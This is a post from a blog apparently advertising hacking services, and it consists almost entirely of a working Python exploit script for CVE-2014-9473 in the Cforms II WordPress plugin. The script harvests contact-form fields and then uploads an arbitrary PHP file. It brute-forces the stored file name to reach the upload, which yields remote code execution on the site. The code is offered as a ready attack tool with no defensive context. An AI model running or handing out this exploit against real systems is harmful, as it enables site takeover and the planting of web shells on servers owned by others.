Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375895

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Remote Code Execution via Unauthorised File upload in Cforms 14.7 
# Date: 2015-01-19
# Exploit Author: Zakhar
# Vendor Homepage: https://wordpress.org/plugins/cforms2/
# Software Link: https://downloads.wordpress.org/plugin/cforms2.zip
# Version: 14.7
# Tested on: Wordpress 4.0
# CVE : 2014-9473

import os
import requests
import re
import base64
import sys
from lxml import etree
from optparse import OptionParser

def main():
	print 'Cforms II File Upload + Remote Code Execution\n'
	
	text = 'Test text'
	text_mail = 'test@mail.com'

	parser = OptionParser()
	parser.add_option("-f", "--file", dest="file", help="file to upload", default = "itest.php", metavar="FILE")
	parser.add_option("-i", "--max-iterations", dest="iterations", help="Numbe of fields to iterate", default = "10")
	parser.add_option("-b", "--upload-file-name-bruteforce", dest="brute", help="Uploaded file name brute force", default = "10")
	parser.add_option("-n", "--cforms-form-number", dest="number", help="Cforms form number", default = "")
	parser.add_option("-c", "--cforms-home-dir", dest="home", help="Cforms form home dir", default = "/wp-content/plugins/cforms2/")
	parser.add_option("-u", "--url", dest="url", help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")

	(opt, args) = parser.parse_args()
	options = opt.__dict__
	if not opt.url:   # if url is not given
		parser.error('URL not given')
	if not opt.file:
		parser.error('file not given')
	filename = options["file"]
	if os.path.isfile(filename) is not True:
		print 'No such file '+filename 
		return 0

	url = options['url']
	home = options["home"]
	i = options["iterations"]
	n = options["number"]
	b = options["brute"]
	
	s = requests.Session()
	
	r = s.get(url)
	if r.status_code != requests.codes.ok:
		print 'Error: website not found.'
		return 0
	
	tree = etree.HTML(r.text)
	# get cforms id
	if n is "":
		for x in xrange(2,10):
			for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):
				if node is not None:
					n = str(x)
					break
	print 'Cforms form number is <'+n+'>'
	hidden = ['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
	fields = ['cf'+n+'_field_'+str(x) for x in xrange(1,int(i)+1)]
	required = {'sendbutton'+n:'1'}
	
	for f in fields:
		for node in tree.xpath('//*[@id="' + f + '"]'):
			if node is not None:
				if 'fldrequired' in node.get('class'):
					if 'fldemail' in node.get('class'):
						required[f] = text_mail
					else:
						required[f] = text
	
	for h in hidden:
		for node in tree.xpath('//*[@id="' + h + '"]'):
			if node is not None:
				required[h] = node.get('value')
	
	for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):
		if node is not None:
			print 'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'
			return 0
	
	files = {'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
	r = s.post(url,data=required,files=files)
	
	if r.status_code != requests.codes.ok:
		print 'Error: post error.'
		print r.status_code
		return 0
	else:
		url1 = url + home + 'noid-wow.php'
		flag = 0
		if s.get(url1).status_code != requests.codes.ok:
			for l in xrange(1,int(b)):
				url1 =  url + home + str(l) + '-wow.php'
				print url1
				if s.get(url1).status_code == requests.codes.ok:
					flag = 1
					break
		else:
			flag = 1
		if flag == 1:
			print "Succes! Uploaded file: " + url1
		else:
			print "Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"

main()